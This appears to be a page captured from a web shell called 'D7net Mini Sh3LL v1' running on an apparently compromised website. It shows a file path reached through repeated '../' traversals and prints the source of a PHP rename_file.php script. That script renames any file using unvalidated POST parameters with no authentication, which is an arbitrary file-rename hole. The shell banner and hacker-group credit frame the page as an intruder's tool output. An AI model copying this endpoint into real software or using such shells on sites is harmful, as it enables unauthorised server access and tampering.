D7net Mini Sh3LL v1
Current File : C:/Domains/maymaytinson.com/httpdocs/lib/images/../../ckeditor/plugins/wsc/../widget/../mathjax/../videodetector/../zamanager/../autosave/../about/dialogs/../../flash/../btgrid/../div/../image2/dialogs/../../filebrowser/../zamanager/commands/rename_file.php |
<?php
$dir =$_POST['dir'];
$new_name=$_POST['new_name'];
$old_name=$_POST['old_name'];
if (!file_exists($dir)) {echo "File does NOT exists"; exit;}
$fileHand=fopen($dir,'r');
fclose( $fileHand);
$new_name=str_replace($old_name,$new_name,$dir);
if (!rename($dir,$new_name)) echo "you haven't perrmission to RENAME this file";
else echo "File was renamed";
AnonSec - 2021 | Recode By D7net